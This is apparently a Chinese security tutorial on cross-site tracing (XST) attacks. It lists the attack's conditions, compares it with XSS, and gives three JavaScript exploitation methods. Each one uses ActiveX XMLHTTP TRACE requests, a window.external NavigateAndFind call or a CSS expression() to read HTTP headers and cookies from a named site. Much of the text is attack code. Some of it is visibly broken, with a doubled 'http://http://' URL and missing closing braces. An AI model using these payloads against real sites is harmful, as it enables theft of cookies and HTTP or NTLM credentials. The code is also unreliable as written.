Cross-site tracing XST攻击

XST攻击也是攻击者将恶意代码嵌入主机上的Web文件,当访问者浏览时,恶意代码在浏览器中执行,然后访问者的Cookie、http基本验证以及NTLM验证信息将被发送到已经被控制的主机,同时传送Trace请求给目标主机,导致Cookie欺骗或者是中间人攻击。 

XST攻击条件: 

1、需要目标Web服务器允许Trace参数; 

2、需要一个用来插入XST代码的地方;  

3、目标站点存在跨域漏洞。 

XST与XSS的比较: 

相同点:都具有很大的欺骗性,可以对主机产生危害,而且这种攻击是跨平台的,我们还可以利用Active控件、Flash、Java等来进行XST和XSS攻击。 

优点:可以绕过一般的http验证以及NTLM验证 

利用手法1:
<script type="text/javascript"> 

<!-- 

function xssTRACE(){ 

var xmlHttp=new ActiveXObject("Microsoft.XMLHTTP"); 

xmlHttp.open("TRACE","http://wmjie.51.net/swords/",false); 

xmlHttp.send(); 

xmlDoc=xmlHttp.responseText; 

alert(xmlDoc); 



//--> 

</script> 

<INPUT TYPE=BUTTON onClick="xssTRACE();" VALUE=’XSS TRACE’>

手法2: 

<script type="text/javascript">  

<!-- 

function xssTRACE() { 

var openWin=open("blank.htm","swords","width=500,height=400"); 

var otraceswords=openWin.external; 

openWin.location.href="http://wmjie.51.net/swords/"; 

setTimeout( 

function () { 

//以下必须写在一行 

otraceswords.NavigateAndFind

(’javascript:xmlHttp=new 

ActiveXObject("Microsoft.XMLHTTP");

xmlHttp.open("TRACE","http://wmjie.51.net/swords/",false);

xmlHttp.send();

xmlDoc=xmlHttp.responseText;alert("不用documents.cookie 

显示站点wmjie.51.net/swords/ 的头信息。\\n" + xmlDoc);’,"",""); 

}, 

1024 

); 



//--> 

</script> 

<INPUT TYPE=BUTTON onClick="xssTRACE();" VALUE=’XSS TRACE’>
 

手法3: 

<script type="text/javascript">  

function xssTRACE(){ 

var swords="var xmlHttp =new ActiveXObject(\"Microsoft.XMLHTTP\")\;

xmlHttp.open(\"TRACE\",\"http://http://www.tingh.com/\",false)\;

xmlHttp.send()\;xmlDoc=xmlHttp.responseText\;alert(xmlDoc)\;"; 

var target = "http://wmjie.51.net/swords/"; 

spinach = encodeURIComponent(swords + ’;top.close()’); 

var readyCode = ’font-size:

expression(execScript(decodeURIComponent("’ + spinach + ’")))’; 

showModalDialog(target, null, readyCode); 



</script> 

<INPUT TYPE=BUTTON onClick="xssTRACE()" VALUE=’XSS TRACE’>
 

我用团队论坛的Cookie和我的站点作测试。

(责任编辑:zhaohb)